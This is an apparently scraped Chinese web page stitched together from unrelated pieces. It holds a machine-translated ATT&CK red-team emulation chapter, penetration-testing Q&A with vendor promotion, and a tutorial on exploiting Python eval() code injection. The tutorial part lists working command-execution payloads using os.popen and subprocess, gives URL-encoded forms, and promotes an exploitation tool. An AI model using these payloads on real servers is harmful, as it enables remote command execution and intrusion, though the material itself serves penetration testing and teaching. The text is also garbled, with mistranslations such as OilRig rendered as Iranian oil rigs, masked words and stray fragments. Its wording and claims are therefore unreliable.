渗透测试是什么意思_渗透测试empire

hacker|
179

从ATT&CK开始——对手仿真和红队

我们希望你已经花时间阅读了之一章开始使用ATTCK的威胁情报和第二章使用ATTCK的检测和分析!我们在这里给你带来了第三章,这一次涵盖了对手模拟和red与ATTCK的合作,来演示我们如何测试那些新的分析,John向我们展示了如何构建。

继续前几章的主题,本节将根据你的团队的复杂程度和你所拥有的资源分为不同的级别:

�一级对于刚开始那些可能没有许多资源

�二级对于那些中层团队开始成熟

�三级对于那些更高级的 *** 安全团队和资源

对于那些不熟悉它的人来说,敌手模拟是一种红队参与的类型,它通过混合威胁情报来定义红队使用的行动和行为,来模拟对组织的已知威胁。这就是为什么对手模拟不同于渗透测试和其他形式的红队。

对手模拟器构建一个场景来测试对手的战术、技术和过程(TTPs)的某些方面。然后,红队在目标 *** 上运行,以测试防御系统如何对付模拟对手。

由于ATTCK是一个关于现实世界中对手行为的大型知识库,所以不需要太多的想象力就可以将对手或红队的行为与ATTCK联系起来。让我们来探索安全团队如何使用ATTCK进行对手模拟来帮助改进他们的组织。

一、1级

小团队和那些主要专注于防守的团队可以从对手的竞争中获得很多好处,即使他们没有机会进入红队,所以不要担心!有相当多的资源可以帮助你开始测试你的防御与ATTCK对齐的技术。我们将重点介绍如何通过尝试简单的测试来深入敌手模拟。

Atomic Red Team是一个由Red Canary维护的开源项目,它是一个脚本 *** ,可以用来测试如何检测映射到ATTCK技术的某些技术和过程。例如,您可能已经遵循了第1章中的建议,并研究了APT3使用的技术,如 *** 共享发现(T1135)。您的intel团队将此信息传递给您的检测团队,并且根据第2章的指导,他们编写了一个行为分析来尝试检测对手是否执行了此技术。但是你怎么知道你是否真的能检测到这种技术呢?

Atomic Red Team可用于测试单个技术和过程,以验证行为分析和监视功能是否如预期的那样工作。

原子Red团队存储库有许多原子测试,每个测试都有一个用于测试ATTCK技术的目录。您可以查看ATTCK矩阵格式的完整存储库。

要开始测试,请选择T1135页,以查看详细信息和文档中记录的不同类型的原子测试。每个测试都包含关于技术是什么、支持的平台以及如何执行测试的信息。

我们看到有三个测试选项,并决定选择#2来使用命令提示符进行测试。因此,我们打开命令提示符,复制并粘贴命令,添加计算机名,然后执行命令。

我们刚刚执行了我们的之一个原子测试!一旦完成了这一步,我们就可以看看我们期望检测到的是否就是我们实际检测到的。例如,可能我们在SIEM工具中有一个行为分析工具,它应该在“net view”执行时发出警报,但是我们发现它没有触发,所以我们发现从主机导出的日志不正确。您排除故障并修复了问题,现在您已经取得了可度量的改进,以帮助您在将来有更好的机会使用此过程捕获对手。

这些单项测试允许激光聚焦于单个的ATTCK技术,这使得构建基于ATTCK的防御覆盖更容易实现,因为您可以从单个技术的单一测试开始,然后从单一技术扩展到其他技术。

1.5级奖励内容:获得了一个使用原子红队执行对手模拟测试的过程,并准备好了一些东西,可以帮助链接在一起的行为序列?下一个看看CALDERA!CALDERA是一个由MITRE创建的自动对抗仿真系统,它有许多内建的行为映射到ATTCK技术。它允许操作员在构建测试时选择一种技术或将多种技术连接在一起,这允许您开始自动化测试的行为序列,而不是手动执行单个原子测试。您可以使用预先构建的场景之一,或者通过选择映射到您想要测试的某些ATTCK技术的过程(在CALDERA中称为能力)来定义更具体的场景。

二、2级

对于那些已经拥有红队能力的人来说,您可以从将ATTCK与您现有的项目集成中获益良多。映射技术用于红色团队参与ATTCK编写报告和讨论时提供了一个通用框架移植。

首先,您可以使用现有的计划操作或工具并将其映射到ATTCK。将red team过程映射到ATTCK类似于将威胁情报映射到ATTCK,因此您可能想要查看Katie在之一章中概述的六步流程的建议。

幸运的是,有时映射技术可以像搜索ATTCK网站上使用的命令一样简单。例如,如果我们在red team操作中使用了“whoami”命令,那么我们可以在ATTCK网站上搜索它,并发现可能会应用两种技术:系统所有者/用户发现(T1033)和命令行界面(T1059)。

另一个帮助您开始将red team过程映射到ATTCK的资源是APT3敌手模拟字段手册,它列出了APT3使用的一个命令一个命令的操作,所有这些操作都映射到ATTCK。

如果你的红队正在使用像Cobalt Strike或Empire这样的工具,好消息是这些工具已经被映射到ATTCK了。有了您个人的命令、脚本和映射到ATTCK的工具,您现在可以计划您的任务了。

红队有他们的尝试和真正的工具箱和操作 *** 。他们知道什么是有效的,因为它总是有效。但是他们不知道的是,他们所尝试的和真正的ttp与已知的可能针对组织的威胁有多少重叠(或者不重叠!)。这就导致了在理解防御系统与你真正想要防御的对象之间的差距——目标是你的环境的敌人,而不一定是红队本身。

我们想要确保我们不仅仅是在做技术,因为我们的工具可以执行它们——我们想要模拟一个真正的对手,我们关心的是提供更多的价值。例如,我们可以和我们的CTI团队谈谈,他们告诉我们,他们担心来自伊朗石油钻井平台的袭击。

由于ATTCK的所有内容都是结构化的,我们可以使用ATTCK导航仪来比较现有工具(如Cobalt Strike)和OilRig基于开源报告的技术。(你可以查看导航器的演示,它演示了如何做到这一点。)在下一个图形,Cobalt Strike技术是红色的,OilRig技术是蓝色的,两种技术都能执行用紫色。

这些紫色技术为我们提供了一个开始使用现有工具和执行组织优先考虑的技术的地方。

除了识别出Cobalt Strike和OilRig之间的重叠部分,分析还可以显示出,在哪些地方可以改变red team的行为,而不仅仅局限于他们通常采用的程序层面。

在某些情况下,一项技术可能是在红队使用的工具中以特定的方式实现的,但是我们不知道对手是如何实现的。有了这些知识,就可以帮助red团队在不同的测试之间使用不同的行为,从而更好地覆盖作为对抗模拟过程一部分的威胁。

此时,我们还可以添加希望使用命令或脚本手动执行的技术。然后,我们可以在导航器中添加关于执行技术的顺序以及如何执行它们的注释。

当我们计划红队行动时,映射到ATTCK是有好处的,一旦我们执行了我们的行动,当我们与我们的蓝队沟通时,我们也收获了回报。如果他们将分析、检测和控制映射回ATTCK,那么您可以轻松地用一种通用语言与他们交流,了解您所做的工作和他们的成功之处。在报表中包含ATTCK导航器映像(甚至保存的导航器层)可以帮助这个过程,并为它们提供一个可以改进的模板。

用户级别2.5内容:在使用ATTCK计划约定和报告结果之后,尝试使用APT3模拟计划或基于该计划的ATTCK评估之一轮场景,以进行约定模拟APT3,显示针对特定对手组的基线测试。

三、3级

此时,您的红队正在将ATTCK集成到操作中,并在与蓝队的通信中寻找价值。为了提高您的团队及其所产生的影响,您可以与您的组织的CTI团队协作,通过创建您自己的对手模拟计划,使用他们收集的数据来针对特定的对手调整约定。

创建您自己的对手模拟计划,利用更大的力量,结合红色团队与您自己的威胁情报:行为是从现实世界的对手看到的目标是你!红队可以把intel变成有效的测试,以显示什么防御工作得很好,什么地方的资源需要改进。

当安全性测试暴露了可见性和控制漏洞时,当您可以显示它们很可能被已知的对手利用时,就会产生更高级别的影响。将您自己的CTI与对手模拟工作相连接,将提高测试的有效性,并将输出结果提供给高级领导以制定更改。

我们推荐如下图所示的五步流程来创建一个对手模拟计划、执行操作并推动防御改进。(有关此过程的更详细概述,请参见Katie Nickels和Cody Thomas关于ATTCK基于威胁的对手模拟的演示。)

1. 收集威胁情报——根据组织面临的威胁,选择一个对手,与CTI团队合作,分析对手的行动。结合你的组织所知道的,除了公开的情报,来记录对手的行为,他们追求的是什么,他们是粉碎和抓取还是低速度和慢速。

2. 提取技术——就像你将你的红队行动映射到ATTCK技术一样,将你的情报映射到与你的情报团队相关的特定技术。您可以将您的CTI团队指向第1章,以帮助他们学习如何做到这一点。

3.分析和组织——现在你有了一堆关于对手的情报以及他们是如何运作的,用一种很容易制定具体计划的方式将这些信息绘制到他们的运作流程中。例如,下面是MITRE团队为APT3对手模拟计划创建的操作流。

4. 开发工具和过程——既然您已经知道了希望红队做什么,那么就应该弄清楚如何实现行为。考虑:

�威胁组织使用这种技术如何?

�集团不同的技术是使用基于环境上下文?

�什么工具可以复制这些ttp吗?

5. 模拟对手——有了适当的计划,红队现在能够执行并执行模拟契约。正如我们建议所有使用ATTCK的红队项目,红队应该与蓝队紧密合作,深入了解蓝队的可见度的差距在哪里,以及它们存在的原因。

一旦整个过程发生,红色和蓝色的团队可以与CTI团队合作,确定下一个威胁,重复这个过程,创建一个连续的活动,测试对现实世界行为的防御。

总结

本章向您展示了如何使用ATTCK进行红色团队和对手模拟,而不管您拥有什么资源(包括您还没有红色团队时)。我们希望您在本书中已经注意到,这些主题都是建立在其他主题的基础上的,通过威胁情报来创建分析,这些分析可以通过对手的仿真来验证和改进——所有这些都使用ATTCK的公共语言。下一章(也是最后一章)将讨论ATTCK的执行评估和工程,为我们的ATTCK系列的入门课程画上圆满的句号。

多少人知道什么是渗透测试?渗透测试有什么用?

渗透测试是对用户信息安全措施积极评估的过程。通过系统化的操作和分析,积极发现系统和 *** 中存在的各种缺陷和弱点,如设计缺陷和技术缺陷。渗透测试现在已经成为主机安全的重要手段之一了,说到这里就不得不提到青藤万相了。青藤万相是青藤云安全旗下的一款产品,青藤云安全凭借着丰富的攻击经验,站在攻击者的角度,通过真实模拟黑客使用的工具、分析 *** 进行模拟攻击,验证当前的安全防护措施,找出风险点,提供有价值的安全整改建议。百度上面都有。

对 *** 系统进行渗透测试,通常是按什么顺序

侦查阶段,入侵阶段,控制阶段。

渗透测试的本质是一个不断提升权限的过程。黑客通过对目标系统权限的提升,可以获取更多关于目标系统的敏感信息,也可以通过渗透测试对目标系统进行信息安全风险评估。

渗透测试最重要的环节是对目标系统的Web应用进行渗透测试,找出Web应用的安全漏洞,因此渗透测试是做好Web安全防护的之一步,亦是进一步进行纵深防御的敲门砖。

扩展资料:

*** 系统进行渗透测试注意事项:

提供完整的电脑漏洞扫描服务, 并随时更新其漏洞数据库。

不同于传统的漏洞扫描软件, Nessus 可同时在本机或远端上摇控, 进行系统的漏洞分析扫描。

其运作效能能随着系统的资源而自行调整。如果将主机加入更多的资源(例如加快CPU速度或增加内存大小),其效率表现可因为丰富资源而提高。

参考资料来源:百度百科-渗透测试

参考资料来源:百度百科- *** 系统

如何使用python查找网站漏洞

如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。

为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用 *** 的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。

因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:

1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用

假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:

eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:

eval(compile("""for x in range(1):\\n import os\\n os.popen(r'COMMAND').read()""",'','single'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:

__import__('os').popen('COMMAND').read()

为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:

param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。

搭建一个包含漏洞的服务器

为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一 *** 立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:

git clone VulnApp

./install_requirements.sh

python PyCodeInjectionApp.py

漏洞分析

当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:

1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的 *** 来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:

\

大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。

不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。

自动扫描漏洞

为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。

这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。

当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:

\

下图显示的是Burp在扫描这个漏洞时所使用的Payload:

\

我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。

将PoC升级成漏洞利用代码

使用time.sleep()来验证漏洞的存在的确是一种很好的 *** 。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。

因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的 *** 来实现,例如使用全局函数“__import__”。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]

下面这个Payload应该可以适用于绝大多数的场景:

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Example with one expression

__import__('os').popen('COMMAND').read()

# Example with multiple expressions, separated by commasstr("-"*50),__import__('os').popen('COMMAND').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:

# Examples with one expression

eval(compile("""__import__('os').popen(r'COMMAND').read()""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True)""",'','single'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__('os').popen(r'COMMAND').read();import time;time.sleep(2)""",'','single'))eval(compile("""__import__('subprocess').check_output(r'COMMAND',shell=True);import time;time.sleep(2)""",'','single'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:

eval(compile("""for x in range(1):\n import os\n os.popen(r'COMMAND').read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.Popen(r'COMMAND',shell=True, stdout=subprocess.PIPE).stdout.read()""",'','single'))eval(compile("""for x in range(1):\n import subprocess\n subprocess.check_output(r'COMMAND',shell=True)""",'','single'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:

\

请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。

如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。

\

\

漏洞利用工具-PyCodeInjectionShell

你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用 *** 跟sqlmap基本相同。

企业渗透测试常见方式有哪些?

常见的渗透测试方式一般包括软件安全测试 *** 和规模化/自动化渗透测试 *** ,软件安全测试:在规划渗透测试 *** 时首先要考虑企业软件开发的方式,如果是传统瀑布流方式开发软件,那么在每次应用发布之前就修复安全问题。如果企业使用敏捷式开发,就需要实施敏捷渗透测试,在每次发布之前就对代码进行渗透测试并修复安全问题。还有一种就是规模化和自动化渗透测试:在大规模渗透测试程序时,最重要的是了解最关键的数据信息,以使企业可以将渗透测试计划集中在风险更高的数据和资产上,提高安全成熟度。渗透测试厂商我推荐下我们一直合作的青藤云安全,他们有专业的高级工程师团队,行业经验都非常的丰富,当然你可以多对比几家,多看看厂商的行业口碑和技术。

0条大神的评论

发表评论